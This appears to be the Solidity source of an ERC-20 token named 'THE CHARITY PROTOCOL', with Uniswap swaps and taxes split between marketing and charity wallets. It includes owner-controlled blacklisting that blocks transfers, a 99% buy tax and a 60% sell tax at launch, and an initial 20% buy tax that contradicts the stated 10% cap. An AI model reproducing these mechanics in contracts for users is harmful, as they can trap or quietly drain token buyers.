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pragma solidity ^0.8.7;
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abstract contract Context {
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function _msgSender() internal view virtual returns (address) {
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return msg.sender;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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}
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contract Ownable is Context {
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address private _owner;
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address private _previousOwner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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address msgSender = _msgSender();
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_owner = msgSender;
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emit OwnershipTransferred(address(0), msgSender);
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}
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function owner() public view returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(_owner == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function transferOwnership(address _newOwner) public virtual onlyOwner {
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emit OwnershipTransferred(_owner, _newOwner);
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_owner = _newOwner;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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}
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interface IUniswapV2Factory {
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function createPair(address tokenA, address tokenB) external returns (address pair);
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}
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interface IUniswapV2Router02 {
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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}
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contract TCP is Context, IERC20, Ownable {
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using SafeMath for uint256;
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mapping (address => uint256) private _balOwned;
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mapping (address => mapping (address => uint256)) private _allowances;
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mapping (address => bool) private _isOutFromFee;
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mapping (address => bool) private isBlacklisted;
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uint256 private time;
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uint256 private bTime;
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uint256 private _totalSupply = 5 * 10**6 * 10**18;
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struct TaxStructure {
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uint256 totalPc;
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uint256 pcMarketing;
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uint256 pcCharity;
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uint256 pcLP;
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}
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TaxStructure private sellTax = TaxStructure(70,50,10,10);
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TaxStructure private buyTax = TaxStructure(200,180,10,10);
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TaxStructure private ZERO = TaxStructure(0,0,0,0);
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TaxStructure private initialTax = TaxStructure(990,990,0,0);
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TaxStructure private initialSellTax = TaxStructure(600,600,0,0);
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string private constant _name = unicode"THE CHARITY PROTOCOL";
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string private constant _symbol = unicode"TCP";
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uint8 private constant _decimals = 18;
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uint256 private _maxTxAmount = _totalSupply.div(100);
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uint256 private _maxWalletAmount = _totalSupply.div(50);
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uint256 private liquidityParkedTokens = 0;
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uint256 private marketingParkedTokens = 0;
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uint256 private charityParkedTokens = 0;
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uint256 private minBalance = _totalSupply.div(10000);
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address payable private _marketingWallet;
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address payable private _charityWallet;
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IUniswapV2Router02 private uniswapV2Router;
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address private uniswapV2PairAddress;
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bool private tradingOpen;
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bool private inSwap = false;
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bool private swapEnabled = false;
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modifier lockTheSwap {
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inSwap = true;
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_;
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inSwap = false;
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}
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constructor () payable {
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_marketingWallet = payable(0x38c9b247edd12C7d0fea06073299c07D9792116D);
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_charityWallet = payable(0x7EEbFe8f2f909015EBa3b937e7B3Eb3363a9e6BA);
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_balOwned[owner()] = _totalSupply;
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uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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uniswapV2PairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
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_isOutFromFee[owner()] = true;
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_isOutFromFee[address(this)] = true;
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_isOutFromFee[uniswapV2PairAddress] = true;
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emit Transfer(address(0),address(this),_totalSupply);
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}
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function name() public pure returns (string memory) {
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return _name;
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}
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function symbol() public pure returns (string memory) {
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return _symbol;
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}
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function decimals() public pure returns (uint8) {
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return _decimals;
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}
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function totalSupply() public view override returns (uint256) {
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return _totalSupply;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return _balOwned[account];
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}
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function transfer(address recipient, uint256 amount) public override returns (bool) {
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_transfer(_msgSender(), recipient, amount);
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return true;
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}
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function allowance(address owner, address spender) public view override returns (uint256) {
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return _allowances[owner][spender];
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}
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function approve(address spender, uint256 amount) public override returns (bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
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_transfer(sender, recipient, amount);
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_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TCP: transfer amount exceeds allowance"));
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return true;
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}
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function updateBuyTax(uint256 _marketing,uint256 _charity,uint256 _lp) external onlyOwner {
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buyTax.pcLP = _lp;
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buyTax.pcMarketing = _marketing;
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buyTax.pcCharity = _charity;
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buyTax.totalPc = _marketing.add(_lp).add(_charity);
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require(buyTax.totalPc < 100,"TCP: Buy tax can not greater than 10%");
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}
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function updateSellTax(uint256 _marketing,uint256 _charity,uint256 _lp) external onlyOwner {
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sellTax.pcLP = _lp;
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sellTax.pcMarketing = _marketing;
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sellTax.pcCharity = _charity;
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sellTax.totalPc = _marketing.add(_lp).add(_charity);
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require(sellTax.totalPc < 600,"TCP: Sell tax can not greater than 60%");
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}
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function updateLimits(uint256 maxTransactionPer,uint256 maxWaleltPer) external onlyOwner {
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require(maxTransactionPer > 1 && maxWaleltPer > 1,"TCP: Max wallet and max transction limits should be greater than 1%");
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_maxTxAmount = _totalSupply.mul(maxTransactionPer).div(100);
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_maxWalletAmount = _totalSupply.mul(maxWaleltPer).div(100);
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}
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function removeLimits() external onlyOwner{
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_maxTxAmount = _totalSupply;
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}
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function excludeFromFees(address[] calldata target) external onlyOwner{
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for(uint i=0;i<target.length;i++)
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_isOutFromFee[target[i]] = true;
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}
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function _approve(address owner, address spender, uint256 amount) private {
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require(owner != address(0), "TCP: Approving from the zero address");
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require(spender != address(0), "TCP: Approving to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function _transfer(address from, address to, uint256 amount) private {
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require(from != address(0), "TCP: Transfer from the zero address");
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require(to != address(0), "TCP: Transfer to the zero address");
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if (from != owner() && to != owner()) {
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require(tradingOpen,"TCP: trading != true");
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require(!isBlacklisted[from] && !isBlacklisted[to]);
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TaxStructure storage _tax = ZERO;
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if(!_isOutFromFee[to]){
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require((_balOwned[to] + amount) <= _maxWalletAmount,"TCP: Max Wallet Limit");
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require(amount <= _maxTxAmount,"TCP: Max TxAmount Limit");
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if (from == uniswapV2PairAddress && to != address(uniswapV2Router)){
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_tax = buyTax;
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}
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if(bTime > block.number){
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_tax = initialTax;
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}
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}
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else if (to == uniswapV2PairAddress && from != address(uniswapV2Router) && ! _isOutFromFee[from]) {
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if(block.timestamp > time){
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_tax = sellTax;
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}else{
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_tax = initialSellTax;
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}
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}
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if (!inSwap && from != uniswapV2PairAddress && swapEnabled && !_isOutFromFee[from] && balanceOf(address(this)) > minBalance) {
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swapBack();
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}
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if(_tax.totalPc>0){
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uint256 txTax = amount.mul(_tax.totalPc).div(1000);
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amount = amount.sub(txTax);
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liquidityParkedTokens = liquidityParkedTokens.add(txTax.mul(_tax.pcLP).div(_tax.totalPc));
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marketingParkedTokens = marketingParkedTokens.add(txTax.mul(_tax.pcMarketing).div(_tax.totalPc));
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charityParkedTokens = charityParkedTokens.add(txTax.mul(_tax.pcCharity).div(_tax.totalPc));
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_transferStandard(from,address(this),txTax);
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}
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}
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_transferStandard(from,to,amount);
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}
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function swapTokensForEth(uint256 tokenAmount) private {
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] = uniswapV2Router.WETH();
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_approve(address(this), address(uniswapV2Router), tokenAmount);
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uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
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tokenAmount,
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0,
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path,
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address(this),
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block.timestamp
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);
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}
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function addLiquidity(uint256 tokenAmount,uint256 ethValue) private {
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_approve(address(this),address(uniswapV2Router),tokenAmount);
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uniswapV2Router.addLiquidityETH{value: ethValue}(address(this),tokenAmount,0,0,address(0xdEaD),block.timestamp);
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}
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function swapBack() private lockTheSwap {
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uint256 contractTokenBalance = balanceOf(address(this));
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uint256 totalTokensToSwap = liquidityParkedTokens + marketingParkedTokens + charityParkedTokens;
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bool success;
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if (contractTokenBalance == 0 || totalTokensToSwap == 0) {
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return;
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}
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if (contractTokenBalance > minBalance * 20) {
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contractTokenBalance = minBalance * 20;
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}
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uint256 liquidityTokens = (contractTokenBalance * liquidityParkedTokens) / totalTokensToSwap / 2;
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uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens);
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uint256 initialETHBalance = address(this).balance;
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swapTokensForEth(amountToSwapForETH);
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uint256 ethBalance = address(this).balance.sub(initialETHBalance);
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uint256 ethForMarketing = ethBalance.mul(marketingParkedTokens).div(totalTokensToSwap);
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uint256 ethForCharity = ethBalance.mul(charityParkedTokens).div(totalTokensToSwap);
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uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForCharity;
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liquidityParkedTokens = 0;
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marketingParkedTokens = 0;
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charityParkedTokens = 0;
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(success, ) = address(_charityWallet).call{value: ethForCharity}("");
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if (liquidityTokens > 0 && ethForLiquidity > 0) {
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addLiquidity(liquidityTokens, ethForLiquidity);
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}
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(success, ) = address(_marketingWallet).call{
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value: address(this).balance
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}("");
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}
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function enableTrading() external onlyOwner {
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require(!tradingOpen,"trading is already open");
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swapEnabled = true;
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tradingOpen = true;
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time = block.timestamp + (10 minutes);
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bTime = block.number + 2;
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}
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function setBlacklist(address[] memory _isBlacklisted) public onlyOwner {
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for (uint i = 0; i < _isBlacklisted.length; i++) {
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isBlacklisted[_isBlacklisted[i]] = true;
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}
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}
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function removeBlacklist(address[] memory notbot) public onlyOwner {
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for(uint i=0;i<notbot.length;i++){isBlacklisted[notbot[i]] = false;}
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}
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function _transferStandard(address sender, address recipient, uint256 tAmount) private {
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_balOwned[sender] = _balOwned[sender].sub(tAmount);
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_balOwned[recipient] = _balOwned[recipient].add(tAmount);
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emit Transfer(sender, recipient, tAmount);
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}
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receive() external payable {}
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function manualSwap() external onlyOwner{
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swapBack();
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}
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function recoverTokens(address tokenAddress) external onlyOwner {
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require(tokenAddress != uniswapV2PairAddress);
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IERC20 _token = IERC20(tokenAddress);
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_token.transfer(msg.sender,_token.balanceOf(address(this)));
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}
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} |